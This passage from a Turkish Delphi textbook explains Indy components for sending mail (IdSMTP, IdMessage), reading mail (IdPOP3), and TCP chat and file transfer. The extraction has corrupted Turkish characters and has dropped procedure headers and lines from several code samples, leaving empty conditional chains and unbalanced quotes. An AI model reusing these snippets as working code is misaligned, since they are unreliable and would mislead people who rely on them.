Memo1.Lines.SaveToFile('c:\yenitablo.html');//kaydet
WebBrowser1.Navigate('c:\yenitablo.html');//sayfayı görüntüle
end;
316
Programınızı çalıútırdıktan sonra ListBox kontrolü içerisinde yer alacak olan
tablolardan bir tanesine tıklayın. Ekran görüntünüz aúa÷ıdaki úekilde
gerçekleúecektir.
Sa÷ altta yer alan görüntünün “WebBrowser” a ait oldu÷unu sanıyorum fark
etmiúsinizdir.
317
318
BÖLÜM 12
INDY KONTROLLERø
319
320
Indy Kontrolleri:
Bu kontroller Delphi 6 versiyonu sonrası projelere eklenmiú, Delphi 7 de daha
da geliútirilmiútir. Performansı artırıcı tedbirler eklenmiú olup optimal hız elde
edilmeye çalıúılmıútır.
Bu yapraklarda (Indy Server- Indy Client-Indy Misc) yer alan kontroller Bloking
modda çalıúırlar yani alttaki satırın iúletilebilmesi için üstteki satırın
gerçekleúmesi gerekecektir. Yani ba÷lan komutunu verdikten sonra ba÷lantı
sa÷lanana kadar uygulamanız donacak baúka bir iúlem yapamayacaksınız (bu
sıkıntı yeni kanallar yaratılarak giderilebilir). Server – Client mantı÷ıyla
çalıútıkları için hepsini beraber anlatmayı uygun gördüm.
IdSMTP Kontrolü:
Internet üzerinden di÷er bilgisayarlara mail göndermek için kullanılan bir
kontroldür (Indy Clients Yapra÷ında yer alır). Tek baúına mail gönderebilece÷i
gibi, Indy Misc yapra÷ında yer alan “IdMessage” kontrolünü kullanarak daha
geliúmiú mailler de gönderebilmektedir (dosya eklenebilir, yazılar
formatlanabilir vs).
x IdSMTP1.Host
Servis sa÷layıcınızın (e-maili gönderirken üzerinden geçece÷i server ın ismi)
ismini aktarabilece÷iniz özelli÷idir.
begin
IdSMTP1.Host:='www.mynet.com';
end;
x IdSMTP1.AuthenticationType
Mail Server ın úifre sorup sormayaca÷ını belirleyen özelli÷idir. Bazı mail
serverlar úifreyi zorunlu tutmuúlardır. Bu serverlar üzerinden mail
gönderebilmeniz için yetkili bir úifreye sahip olmalısınız. Alabilece÷i iki
seçenek vardır.
AuthenticationType
Sonuç
atNone
Server ùifre Sormaz
atLogin
Server ùifre Sorar
321
begin
IdSMTP1.AuthenticationType:=atnone;//úifre yok
end;
x IdSMTP1.Username
AuthenticationType özelli÷inin “atLogin” olması durumunda kullanıcı adı
yerine geçecek olan özelli÷idir.
begin
IdSMTP1.AuthenticationType:=atnone;
IdSMTP1.Username:=’n_demirli’;
end;
x IdSMTP1.Port
Mail in gönderilece÷i port numarası bu özellikle belirlenir.
begin
IdSMTP1.Port:=25;//25 numaralı portu kullan
end;
x IdSMTP1.QuickSend
Sadece basit mesajları (formatsız ve dosya eki olmayanları) göndermek için
begin
IdSMTP1.QuickSend('mail.mynet.com','Yeni Baúlık','[email protected]',
'[email protected]','Tamamdır');
end;
Birinci parametre mail server ismini, ikinci parametre baúlıkta yer alacak olan
metni, üçüncü parametre kimin gönderdi÷ini, dördüncü parametre de kime
gidece÷ini belirleyen de÷erlere sahiptirler.
322
x IdSMTP1.Connect
Mail gönderme iúleminde “IDMessage” (indy misk yapra÷ında bulunur. Ayrıca
bu kontrolün kullanıldı÷ı e-mailler için bundan sonra geliúmiú olarak
bahsedilecektir) kontrolü kullanılacaksa mail servera ba÷lanabilmek için
//Ba÷lan
begin
IdSMTP1.Connect;//ba÷lan
end;
x IdSMTP1.Send
Geliúmiú derecede e-mail göndermek için (dosya ekli,formatlı vs) kullanılan
methoddur. Parametre olarak “IdMessage” kontrolünü kullanacaktır.
//Gönder
begin
IdSMTP1.Send(IdMessage1);
end;
x IdSMTP1.Disconnect
Mail gönderildikten sonra ba÷lantıyı kapatmak için kullanılan methoddur.
//Ba÷lantıyı Kes
begin
IdSMTP1.Disconnect;//ba÷lantıyı kes
end;
ùimdi de bu kontrolle beraber kullanaca÷ımız “IdMessage”nesnesinin e-mail
gönderme iúlemlerinde kullanaca÷ımız özelliklerini inceleyece÷iz. Daha sonra
gösterece÷imiz e-mail alma iúleminde de “IdMessage” kontrolünün di÷er
özelliklerini inceleyece÷iz.
323
IdMessage Kontrolü:
Bu kontrolu tek baúına de÷ilde belirtece÷imiz di÷er elemanlarla beraber
kullanırsanız çok etkili sonuçlar alacaksınız. “Indy Misc” yapra÷ında yer
almakta olup hem mesaj alma, hemde mesaj gönderme iúleminde
kullanılmaktadır. Ayrıca e-mail gönderirken mesajınıza ekleyece÷iniz bir dosya
varsa yine bu kontrole ihtiyacınız olacaktır.
x IdMessage1.From.Name
Karúı tarafın e-mail i kimin gönderdi÷ini anlaması için kullanılan özelliktir.
AnsiString tipte bir de÷iúken de÷eri aktarılabilir.
begin
IdMessage1.From.Name:=Edit1.Text;
end;
x IdMessage1.From.Address
Bu özellikle de e-maili gönderen kiúinin adresi di÷er bilgisayara gönderilebilir.
begin
IdMessage1.From.Address:='[email protected]';
end;
x IdMessage1.Subject
Gönderilecek olan mesajın baúlı÷ı bu özellikte tutulur. Di÷er bilgisayarda
mesajın baúlı÷ında gözükecektir.
begin
IdMessage1.Subject:=Edit4.Text;
end;
x IdMessage1.Body.Assign
Gönderilecek olan mesaj memo veya ListBox gibi bir kontrolden alınacaksa
(Items özelli÷i) içerik bu özellikle belirlenir.
324
begin
IdMessage1.Body.Assign(Memo1.Lines);
end;
x IdMessage1.Body.Add
ùayet mesaj içeri÷i satır satır aktarılacaksa kullnılabilecek ikinci yöntemdir.
begin
IdMessage1.Body.Add('Selam');
end;
x IdMessage1.ReplyTo.EMailAddresses
E-mail e direk cevap yazılması durumunda kullanılacak olan e-mail adresi bu
özellikle belirlenir.
begin
IdMessage1.ReplyTo.EMailAddresses:='[email protected]';
end;
x IdMessage1.Recipients.EMailAddresses
E-mail in gönderilece÷i adres bu özellikle belirlenir.
begin
IdMessage1.Recipients.EMailAddresses:=Edit2.Text;
end;
x IdMessage1.BccList.EMailAddresses
ùayet e-mail birden fazla adrese gönderilecekse di÷er mail adresini bu özelli÷e
aktarmalısınız.
begin
IdMessage1.BccList.EMailAddresses:=Edit3.Text;
end;
325
x IdMessage1.MessageParts
E-mail inize dosya eklemek için kullanabilece÷iniz methoddur. Aúa÷ıdaki
yöntemle dosyayı email e ekleyebilirsiniz.
//Dosya ekle
var
yol:AnsiString;
begin
TIdAttachment.Create(IdMessage1.MessageParts,yol);
End,
Yukarıda gösterilen úekilde istedi÷iniz kadar dosyayı e-mailinize ekleyebilir,
di÷er bilgisayara gönderebilirsiniz.
Uygulama 5:E-Mail Göndermek
Yukarıdaki iki kontrolü kullanarak diledi÷imiz adrese e-mail gönderebiliriz.
Aúa÷ıda bu husus örneklendirilmektedir.
Program için yukarıdaki tasarımı oluúturunuz. Ardından aúa÷ıdaki adımları
izleyin.
326
Birinci adımda formunuza “Indy Client” yapra÷ında yer alan “IdSMTP”
kontrolünü yerleútiriniz.
økinci adımda formunuza “Indy Misc” yapra÷ında yer alan “IdMessage”
kontrolünü yerleútiriniz.
Üçüncü adımda formunuza bir adet “OpenDialog” kontrolü yerleútiriniz.
Dördüncü adımda aúa÷ıda verilen kod blo÷unu “Unit” pencerenize
ekleyin.
begin
IdSMTP1.AuthenticationType:=atnone;//úifre yok
IdSMTP1.Username:=Edit1.Text;
IdSMTP1.Port:=25;
IdSMTP1.Connect;
IdMessage1.From.Name:=Edit1.Text;
IdMessage1.From.Address:='[email protected]';
IdMessage1.Subject:=Edit4.Text;//Baúlık
IdMessage1.Body.Assign(Memo1.Lines);//Mesaj øçeri÷i
IdMessage1.ReplyTo.EMailAddresses:='[email protected]';
IdMessage1.Recipients.EMailAddresses:=Edit2.Text;//Buraya Yolla
IdMessage1.BccList.EMailAddresses:=Edit3.Text;//Bunlarada gitsin
IdSMTP1.Send(IdMessage1); //yolla
IdSMTP1.Disconnect;
end;
var
yol:AnsiString;
begin
TIdAttachment.Create(IdMessage1.MessageParts,yol);//ekle
if CheckBox1.Checked=false Then
begin
CheckBox1.Visible:=true;
CheckBox1.Checked:=true;
CheckBox1.Caption:=ExtractFileName(yol);//dosyanın adını yaz
CheckBox1.Enabled:=false;
end
else if CheckBox2.Checked=false Then
begin
327
CheckBox2.Caption:=ExtractFileName(yol);
end
else if CheckBox3.Checked=false Then
begin
CheckBox3.Caption:=ExtractFileName(yol);
end
else
showMessage('Maximum 3 Dosya Ekleyebilirsiniz');
Edit5.Text:=yol;
end;
begin
CheckBox1.Visible:=false;
Edit1.Text:='Nihat Demirli';
Edit2.Text:='[email protected]';
Edit3.Text:='[email protected]';
Edit4.Text:='Yeni Kitaplar øçin Görüú';
end;
328
IdPOP3 Kontrolü:
Bu kontrol sayesinde “Mail Server” unuza ba÷lanabilir “Kullanıcı adı” ve
”ùifre” nizi biliyorsanız tüm e-mail bilgilerinizi okuyabilirsiniz. “Indy Client”
yapra÷ında yer alan bu kontrol yine “IdMessage” kontrolüyle çök güzel iúlemler
gerçekleútirebilmektedir.
x IdPOP31.CheckMessages
Mail Server unuzda e-mail inizin olup olmadı÷ını kontrol edebilece÷iniz bir
methoddur. Geriye döndürdü÷ü de÷er var olan e-mail sayıdır.
var
sayi,i:Integer;
begin
sayi:=IdPOP31.CheckMessages;//Kaç mail var
end;
x IdPOP31.Host
Ba÷lantı kuraca÷ınız “Mail Server” a ait adres bu özellikle belirlenebilir.
begin
IdPOP31.Host:='mail.mynet.com';
End;
x IdPOP31.Username
Mail Server bilgisayarında tanıtılmıú olan kullanıcı adını aktarabilece÷iniz
özelli÷idir. Mail alırken kullanıcı adı ve úifresi son derece önem arz etmekte,
bilinmesi zorunlu olmaktadır (gönderirken aynı hassasiyeti tüm mail server lar
göstermemektedir).
begin
IdPOP31.Username:=N_Demirli';
End;
329
x IdPOP31.Password
Mail Server bilgisayarına ba÷lanırken kullanaca÷ınız úifreyi bu özellikle
belirlemelisiniz.
begin
IdPOP31.Username:=N_Demirli;
IdPOP31.Password:='sari_tavsanim';
End;
x IdPOP31.Connect()
Yukarıdaki tüm ayarları yaptıktan sonra, Mail Server bilgisayarına ba÷lanmak
için kullanılan methoddur.
begin
IdPOP31.Username:=N_Demirli;
IdPOP31.Password:='sari_tavsanim'
IdPOP31.Connect();//Ba÷lan
End;
x IdPOP31.Retrieve
Belirtilen index numaralı e-mail e ait tüm de÷erleri “IdMessage” kontrolüne
aktarmak için kullanılan methoddur.
begin
IdPOP31.Retrieve(i,IdMessage1);
End;
x IdPOP31.Disconnect()
Ba÷lantıyı sa÷layıp e-mailleri ö÷rendikten sonra Mail Server ile mutlaka
ba÷lantıyı kesmelisiniz. Bu iúlemi ancak “Disconnect” methodunu ça÷ırarak
330
x OnConnected Yordamı
“Connect” methodu ça÷rıldıktan sonra Mail Server ile ba÷lantı sa÷lanabilirse bu
yordam otomatik olarak iúletilecektir.
procedure TForm3.IdPOP31Connected(Sender: TObject);
begin
end;
x OnDisconnect Yordamı
“Disconnect” methodu ça÷rıldıktan sonra “Mail Server” ile ba÷lantı kesilecektir.
Bu durumda bu yordam otomatik olarak iúletilecektir.
procedure TForm3.IdPOP31Disconnected(Sender: TObject);
begin
ShowMessage('Ba÷lantı Kesildi');
end;
IdMessage Kontrolünün e-mail Alırken Kullanabilece÷iniz Mrethodları
Daha önce bu kontrole ait e-mail gönderirken kullanabilece÷iniz özelliklerinden
bahsetmiútik. ùimdi de e-mail alırken kullanabilece÷iniz özellik ve
methodlarından bahsedece÷im.
x IdMessage1.MessageParts.Count
Bu methodla e-mail a eklenmiú olan AttacHment sayısı belirlenebilir. Basit bir
For dngüsü içerisinde tüm dosyalara ulaúılabilir
procedure TForm3.StringGrid1SelectCell(Sender: TObject; ACol,
ARow: Integer; var CanSelect: Boolean);
begin
for j:=0 to Pred(IdMessage1.MessageParts.Count) do//tümüne bak
begin
end;
end;
331
x IdMessage1.MessageParts.Items[]
Index numarasıyla belirtilen elemana bu özellikle ulaúılabilir.
begin
if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then
//ekli dosyamı
begin
end;
end;
x IdMessage1.MessageParts.Items[]).Body
Index numarasıyla belirtilen elemana ait açıklama kısmına ulaúmak için
kullanılan özelliktir.
begin
if IdMessage1.MessageParts.Items[j] is TIdText Then
Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body);
end;
x IdMessage1.MessageParts.Items[]).FileName
Index numarasıyla belirtilen elemana ait dosya ismine ulaúabilece÷iniz
özelli÷idir.
begin
if IdMessage1.MessageParts.Items[j] is TIdAttachment Then
Memo1.Lines.Add(TIdAttachment(IdMessage1.MessageParts.Items[j]).FileName);
end;
ùimdi açıkladı÷ımız bu özellikleri örnek üzerinde göstererek daha iyi bir úekilde
anlamanızı sa÷layalım.
332
Uygulama 6:E-Mail Almak
Bu örnekte “Mail Server” bilgisayarına ba÷lanıp “Kullanıcı Adı” ve “ùifre”
de÷erini girece÷iz. Do÷ru bilgilerin girilmesi durumunda tüm e-mail bilgilerini
kendi bilgisayarımızda gösterece÷iz. Örnek için aúa÷ıdaki iki forma ait tasarımı
oluúturunuz. øknci formu oluúturmaktaki amacımız “Mail Server” bilgisayarına
ait yapılabilecek ayarları belirleyebilmek için olacaktır.
Ana Form
ùifre Formu
Her ne kadar tasrım görüntüsünden yapılacak olan iúlemler belli olsada biz yine
de adım adım projeyi izah edelim. Aúa÷ıda gösterilen adımları sırasıya ve
dikkatlice takip ediniz.
333
Birinci adım da formunuza bir adet “Main Menu” (Standart Araç
çubu÷unda yer alır) kontrolü yerleútirerek “POP3 Ayarları” altında
“De÷iútir” ismiyle tek seçenekli bir menü yaratınız (Bu seçene÷e
tıklanıldı÷ı vakit Mail Server adresi, Kullanıcı adı ,úifre de÷erleri yeniden
belirlenebilecektir).
økinci adımda formunuza “Indy Client” yapra÷ında yer alan “IdPOP3”
Üçüncü adımda formunuza “Indy Mısc” yapra÷ında yer alan
“IdMessage” kontrolünü yerleútirin.
Dördüncü adımda “Additional” yapra÷ında bulunan “StringGrid”
kontrolünden bir adet formunuza çizin. Ardından “RowCount” de÷erine
7, “ColCount” de÷erine de 6 rakamını girin (7 satır 6 sütun oluútur).
Görüntüsel açıdan yine “StringGrid” Kontrolüne ait “Options”
özelli÷ine
tıklayın.
Burada
yer
alan
“goFixedVertLine”,
“goFixedHorzLine” ve “goHorzLine” özelliklerine false de÷erlerini
aktarın.
Altıncı adımda formunuza 5 adet “CheckBox”, øki Adet “Button” ve bir
adet “Memo” kontrolü ekleyiniz.
økinci form için anlatacak fazla bir úey yok. Görüntüdeki kontroller
dıúında herhangi bir eklenti zaten yapılmamıútır (øki forma da di÷er Unit i
eklemeyi unutmayınız).
ùimdi aúa÷ıdaki kodları gerekli Unit lere akleyin.
var
Form3: TForm3;
//Ana Forma Ait Kod
implementation
uses Unit4;//eklemeyi unutmayınız.
{$R *.dfm}
begin
IdPOP31.Host:='mail.mynet.com';//default de÷erleri belirle
IdPOP31.Username:='n_demirli';
IdPOP31.Password:=tavsan;
//Baúlık satırı de÷erleri
StringGrid1.Cells[0,0]:='Dosya';
StringGrid1.Cells[1,0]:='Konu';
StringGrid1.Cells[2,0]:='Kimden';
StringGrid1.Cells[3,0]:='Tarih';
StringGrid1.Cells[4,0]:='Uzunluk';
end;
334
var
sayi,i:Integer;
begin
IdPOP31.Connect();//Baúlan
sayi:=IdPOP31.CheckMessages;//Kaç mail var
if sayi=0 Then
Panel1.Caption:='Mailiniz Yok'
else
begin
if sayi>5 Then
sayi:=5;
for i:=0 to sayi-1 do
begin
IdMessage1.Clear;
IdPOP31.Retrieve(i,IdMessage1);
if IdMessage1.MessageParts.Count>0 Then
if i=0 Then
if i=1 Then
if i=2 Then
if i=3 Then
if i=4 Then
StringGrid1.Cells[1,i+1]:=IdMessage1.Subject;//Konu
StringGrid1.Cells[2,i+1]:=IdMessage1.From.Text;//Gönderen
StringGrid1.Cells[3,i+1]:=DateToStr(IdMessage1.Date);//Tarih
StringGrid1.Cells[4,i+1]:=IntToStr(IdPOP31.RetrieveMsgSize(i+1));
end;
end
end;
var
i,j:Integer;
begin
if IdPOP31.Connected Then//Ba÷lantı varsa al
begin
i:=Arow-1;
Form3.Caption:=IntToStr(i);
335
IdMessage1.Clear;
IdPOP31.Retrieve(i+1,IdMessage1);
Memo1.Lines.Clear;//Temizle
for j:=0 to Pred(IdMessage1.MessageParts.Count) do
if not (IdMessage1.MessageParts.Items[j] is TIdAttachment) Then
if IdMessage1.MessageParts.Items[j] is TIdText Then
Memo1.Lines.AddStrings(TIdText(IdMessage1.MessageParts.Items[j]).Body);
end;
end;
procedure TForm3.IdPOP31Connected(Sender: TObject);
//Ba÷lantıyı Kes
begin
end;
procedure TForm3.IdPOP31Disconnected(Sender: TObject);
begin
ShowMessage('Ba÷lantı Kesildi');
end;
procedure TForm3.Deitir1Click(Sender: TObject);
//Menü Seçene÷i
begin
Form4.Show;
end;
Var
i,j:Integer;
begin
IdPOP31.Disconnect; //Baúlantıyı Kapat
for i:=1 to 6 do
begin
for j:=0 to 4 do
begin
StringGrid1.Cells[j,i]:='';//Gridi Temizle
end ;
end;
Memo1.Lines.Clear;
CheckBox1.Checked:=false;
CheckBox5.Checked:=false;end;
336
ùimdi uygulamayı çalıútırıp “Ba÷lan” dü÷mesine tıklayın size ait olan tüm email ler listeye eklenecektir. En sol kısımdaki sütuna bakarsanız, úayet e-maile
dosya eklentisi varsa size gösterecektir.
ùimdide ikinci forma ait kodlamayı sizlere verelim.
var
Form4: TForm4;
//POP3 Ayarlarının Yapılaca÷ı økinci forma ait kodlama
implementation
uses Unit3;
{$R *.dfm}
begin
Form3.IdPOP31.Host:=Edit1.Text;//Mail Servera ait adres
end;
begin
Form3.IdPOP31.Username:=Edit2.Text;//Kullanıcı Adı
end;
begin
Form3.IdPOP31.Password:=Edit3.Text;//ùifre
end;
337
begin
Form4.Close;//Formu kapat
end;
Birinci formu açtıktan sonra “Mail Server” ile ilgili ayarlarınızı de÷iútirmek
isterseniz. “POP3 Ayarları” menüsünde yer alan “De÷iútir” seçene÷ine tıklayın.
Aúa÷ıdaki form açılacaktır. Burada gerekli düzenlemeleri yapabilirsiniz.
Bu örnek kolay anlaúılsın diye (çünkü CheckBox kontrollerini kodda dizi
úeklinde yaratarak kafanızı karıútırmak istemedim. Dizi úeklinde
tanımlamayınca da kontroller çok can sıkıcı ve aúıraya kaçmaktadır) 5 e-mail
dosyasına göre tasarlanmıútır. Siz dilerseniz adedi artırabilirsiniz.
Bu örnek için önemli bir hatırlatma yapmak istiyorum . “Connect” methodu
ça÷rıldı÷ı anda iúlem baúarılı veya baúarısız úekilde sonuçlanana kadar baúka hiç
bir iúlem gerçekleútiremezsiniz (Indy kontrollerinin özelli÷i gere÷i bir satır
bitmeden di÷er satırlara geçilmez). Yani baúka bir dü÷meye tıklayamaz veya
formu taúıyamazsınız (ilk kitabımızda yer alan döngü komutları kısmında butür
durumları “Application.ProcessMessage” komutuyla halletmiútik). ùayet aynı
anda di÷er iúlemlerinizi de gerçekleútirmek isterseniz o zaman belirli aralıklarla
kontrolü size verecek bir yapı oluúturmak zorundasınız. Bu yapıyı Delphi sizin
yerinize hazırlamıútır.
“Indy Mısc” yapra÷ında yer alan “IdAntiFreeze” kontrolü bu sorunu halletmek
için tasarlanmıútır. Yani bu kontrolü formunuza eklemeniz, “TimeOut”
özelli÷ine atadı÷ınız de÷er çerçevesinde kontrolü size vererek di÷er iúlemlerinizi
halletmenizi sa÷layacaktır.
338
IdAntiFreeze Kontrolü:
Bu kontrol sayesinde yo÷un iúlemlerin gerçekleúti÷i durumlarda programınızın
úiúmesini engelleyebilir, aynı anda birden fazla komut iúletebilme imkanına
sahip olabilirsiniz. Aúa÷ıda bu kontrole has özellikler izah edilmektedir.
x IdAntiFreeze1.Active
Aynı anda birden fazla uygulamaya cevap verebilmeniz için bu özelli÷e true
de÷erini aktarmanız gerekecektir.
begin
IdAntiFreeze1.Active;
End;
x IdAntiFreeze1.OnlyWhenIdle
Varsayılan de÷eri true olan bu özellik olayın aktifleúmesini sa÷lamak için
kullanılacaktır (siz de÷iútirmeyin).
begin
IdAntiFreeze1.OnlyWhenIdle:=true;
End,
x IdAntiFreeze1.IdleTimeOut
Kontrolü size verecek peryodu bu özellikle belirlemelisiniz. Ne kadar küçük bir
de÷er verirseniz, ilk kodunuz o kadar yavaú, yeni iúleminiz de o kadar hızlı
gerçekleúecektir.
begin
IdAntiFreeze1.IdleTimeOut:=10;
End;
x IdAntiFreeze1.Sleep
økinci kez iúletilebilmesi için gerekli bekleme süresi bu özellikle belirlenebilir.
Girilecek olan de÷er milisaniye cinsinden olacaktır.
339
IdTCPServer Kontrolü:
Bu kontrol “IdTcpClient” nesnesiyle beraber kullanılarak bilgisayarlar
arasındaki iletiúimi sa÷lar. Chat uygulamaları, Dosya transferi, Trojan lar bu
kontrollerle kolayca yazılabilirler. Aúa÷ıda kontrole ait özellikler verilmektedir.
Dikkatlice inceleyiniz (Indy Server Yapra÷ında bulabilirsiniz).
x IdTCPServer1.DefaultPort
Kontrolün dinleyece÷i port bu özellikle belirlenebilir. Tam sayı tipli bir
de÷iúkenin de÷erini de kullanabilmektedir.
begin
IdTCPServer1.DefaultPort:=20000;
end;
x IdTCPServer1.Active
Kontrolün portu dinleyebilmesi için port numarasının belirlenmesi yetmez.
Ayrıca bu özelli÷e de true de÷erinin aktarılması gerekecektir.
begin
IdTCPServer1.Active:=true;
end;
x OnConnect Yordamı
Bu yordam herhangi bir bilgisayarın server a ba÷lanmak istemesi durumunda
otomatik olarak iúleyecektir. Aúa÷ıdaki úekilde tanımlanmıútır.
procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread);
begin
end;
ùayet prosedür içerisine dikkat edecek olursanız “Athread” isminde bir
de÷iúken tanımlanmıútır. Bu de÷iúkeni kullanarak size ba÷lanan bilgisayarlar
hakkında tüm bilgileri ö÷renebilirsiniz. Aúa÷ıda bu özelliklerin en önemlileri
izah edilmektedir.
340
x AThread.Connection.Socket.Binding.PeerIP
Server a ba÷lanan bilgisayarın “IP” numarasını ö÷renebilmek için kullanılan
özelli÷idir.
var
mak:AnsiString;
begin
mak:=AThread.Connection.Socket.Binding.PeerIP;
ListBox1.Items.Add(mak);//Listeye ekle
end;
x AThread.Connection.Socket.Binding.IP
Server a ba÷lanan bilgisayarın “IP” numarasını ö÷renebilmek için kullanılan
di÷er bir özelli÷idir.
var
mak:AnsiString;
begin
mak:=AThread.Connection.Socket.Binding.IP;
ListBox1.Items.Add(mak);//Listeye ekle
end;
x AThread.Connection.Disconnect
Servera ba÷lanan bilgisayarların belli bir kritere uymalarını isteyebilirsiniz
(üyenizin olası gerekebilir vs.). Bu kriterlere uymayanları ise ba÷lantıdan
atabilirsiniz. Ba÷lantının kesilmek istenmesi “Disconnect” methodu sayesinde
gerçekleúebilecektir.
begin
AThread.Connection.Disconnect;
end;
Disconnect methodunu kullandı÷ınız bilgisayarın sizinle tekrar haberleúebilmesi
için “Connect” methodunu ikinci kez ça÷ırması gerekecektir.
341
x AThread.Connection.ReadLn()
Di÷er bilgisayar trafından porta gönderilen içerik bu method sayesinde
okunabilir. Geriye dönen de÷er Ansistring tipte bir de÷iúkene hiç bir çeviriye
ihtiyaç duymadan aktarılabilir. Hatırlatalım “Athread” parametresi
“OnExecute” yordamında da aynen kullanılabilir.
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var
mesaj:AnsiString;
begin
mesaj:=AThread.Connection.ReadLn();
Memo1.Lines.Add(mesaj);
end;
x AThread.Connection.WriteLn()
Parametre ile girilen string de÷iúkene ait de÷eri size o an ba÷lanan bilgisayara
göndermek için kullanılan methoddur.
begin
AThread.Connection.WriteLn('Kabul Edildin');
end;
x AThread.Connection.ReadStream()
Porta gelen Stream (dosya veya benzeri) tipli veriyi okumak için kullanılan
methoddur. Dosya transfer iúlemlerinde kullanılacaktır.
var
dosya:TFileStream;
begin
dosya:=TFileStream.Create('c:\yuksel.txt',fmCreate);
AThread.Connection.ReadStream(dosya);//dosyaya yaz
end;
Yukarıdaki kod bulo÷unda, okunan dosya verisi, direk olarak “c:\yuksel.txt”
dosyasına kaydedilecektir.
342
x AThread.Connection.WriteStream()
Di÷er bilgisayara gönderilmek üzere porta yazılacak dosya verisi bu methodla
belirlenir.
var
yolla:TStream;
begin
AThread.Connection.WriteStream(yolla);
end;
x AThread.Connection.OpenWriteBuffer()
Stream tipli verileri di÷er bilgisayara göndermek için bu method kullanılarak
öncelikle Buffer kullanıma açılmalıdır.
begin
AThread.Connection.OpenWriteBuffer();
end;
x AThread.Connection.CloseWriteBuffer()
Stream tipli veriler porttan gönderildikten sonra Buffer için bu methodla
kapatılma iúlemi gerçekleútirilmelidir.
begin
AThread.Connection.CloseWriteBuffer();
end;
x AThread.Connection.ClearWriteBuffer()
Buffer’a yazdıktan sonra temizlenmesi için kullanılan methoddur.
begin
AThread.Connection.ClearWriteBuffer();//temizle
end;
343
IdTCPClient Kontrolü:
“Indy Clients” yapra÷ında yer alan bu kontrol “IdTCPServer” kontrolü ile
beraber kullanılarak bilgisayarlar arası haberleúme iúlemi gerçekleútirilebilir.
Aúa÷ıda kontrole ait özellik ve methodlar verilmektedir.
x IdTCPClient1.Host
Mesajın gönderilece÷i bilgisayarın “IP” numarası bu özellikle belirlenir. String
tipte bir de÷iúken de÷eri aktarılabilir.
begin
IdTCPClient1.Host:='10.11.0.180';
end;
x IdTCPClient1.Port
Mesajın gönderilece÷i port numarası bu özellikle belirlenir. Unutmayın hangi
port numarasından gönderirseniz, Server uygulamanızda da o porttan
dinlemelisiniz.
begin
IdTCPClient1.Port:=20000;
end;
x IdTCPClient1.Connect()
Mesaj gönderebilmek için öncelikle ba÷lantının sa÷lanması gerekir. Bu
methodla di÷er bilgisayara ba÷lanabilirsiniz.
begin
IdTCPClient1.Connect();//Ba÷lan
end;
x IdTCPClient1.Disconnect()
Server makinesi ile ba÷lantıyı kesmek için kullanılan methoddur.
344
begin
IdTCPClient1.Disconnect();//Ba÷lantıyı Kes
end;
x IdTCPClient1.Connected
Di÷er bilgisayar ile ba÷lantının var olup olmadı÷ını bu methodla
ö÷renebilirsiniz. Geriye true de÷erinin dönmesi ba÷lantının var oldu÷u anlamını
taúımaktadır.
begin
if IdTCPClient1.Connected Then
begin
IdTCPClient1.Disconnect();
Button1.Caption:='Ba÷lan';
end
else
begin
IdTCPClient1.Connect();
Button1.Caption:='Ba÷lantıyı Kes';
end;
end;
x IdTCPClient1.WriteLn()
Di÷er bilgisayara mesaj göndermek için kullanılan methoddur. Parametre olarak
AnsiString tipte bir de÷iúken girilebilir.
begin
IdTCPClient1.WriteLn('Selamlar');
end;
x IdTCPClient1.ReadLn()
Di÷er bilgisayar tarafından porta gönderilen mesajı okumak için kullanılan
methoddur. Timer kontrolü içerisinde kullanılarak port devamlı olarak
dinlenebilir (Bunun performansınızı düúürece÷ini unutmayın).
345
procedure TForm1.Timer1Timer(Sender: TObject);
var
deger:AnsiString;
begin
if IdTCPClient1.Connected Then//Ba÷lantı varsa
begin
deger:=IdTCPClient1.ReadLn();//oku
Memo1.Lines.Add(deger);//yaz
end;
end;
Uygulama 7:Chat Uygulaması
Aúa÷ıda iki adet proje geliútirilmiútir. Birinci proje gelen mesajları almak için,
ikincisi ise server makinesine mesaj yollamak için kullanılacaktır. Tasarımları
Server Uygulaması
Uygulama için kullanılan kod blo÷u aúa÷ıda verilmiútir. Formunuzun uygun
olan yordamlarına ekleyiniz.
begin
end;
346
var
mak:AnsiString;
begin
StatusBar1.Panels[0].Text:='Ba÷lantı Iste÷i Geldi';
mak:=AThread.Connection.Socket.Binding.PeerIP;//IP numarası
ListBox1.Items.Add(mak);
AThread.Connection.WriteLn('Kabul Edildin');//Geriye Yolla
end;
var
mesaj:AnsiString;
begin
mesaj:=AThread.Connection.ReadLn();
Memo1.Lines.Add(mesaj);
end;
Client Uygulaması
Client uygulamasına ait form tasarımı yukarıda verilmiútir.
begin
begin
IdTCPClient1.Disconnect();
Button1.Caption:='Ba÷lan';
end
else
begin
347
Button1.Caption:='Ba÷lantıyı Kes';
end;
end;
var
deger:AnsiString;
begin
deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satır
IdTCPClient1.WriteLn('<N_Demirli> '+deger);//Yolla
end;
begin
IdAntiFreeze1.Active:=true; //ekleyin yoksa kilitlenirsiniz
IdAntiFreeze1.OnlyWhenIdle:=true;
end;
var
deger:AnsiString;
begin
begin
deger:=IdTCPClient1.ReadLn();//portu oku
Memo2.Lines.Add(deger);
end;
end;
procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char);
var
deger:AnsiString;
begin
if Key=#13 Then
begin
deger:=Memo1.Lines.Strings[Memo1.Lines.count-1];//son satır
IdTCPClient1.WriteLn('<N_Demirli> '+deger);//yolla
end;
end;
procedure TForm1.IdTCPClient1Connected(Sender: TObject);
begin
Label1.Caption:='Server a Baúarıyla Ba÷landın';
end;
348
procedure TForm1.IdTCPClient1Disconnected(Sender: TObject);
begin
Label1.Caption:='Server la Olan Ba÷lantın Koptu';
end;
ùimdi iki uygulamaya ait “exe” dosyalarını yan yana çalıútırın. Aúa÷ıdaki gibi
kolayca haberleúebileceksiniz.
349
Uygulama 8:Dosya Transferi
ùimdiki uygulamamızda yine aynı kontrolleri kullanarak dosya gönderme
iúlemini gerçekleútirece÷iz. Uygulama için yine iki adet proje tasarlayaca÷ız.
Birincisi seçilen dosyayı di÷er bilgisayara gönderecek, di÷eri ise porta gelen
veriyi okuyup dosya olarak kaydedecek.
Server Uygulaması
Gerekli olacak tüm kod aúa÷ıda verilmiútir.
var
dosya:TFileStream;yol:AnsiString;
begin
if SaveDialog1.Execute Then
begin
yol:=SaveDialog1.FileName;
end;
dosya:=TFileStream.Create(yol,fmCreate);//Oluútur
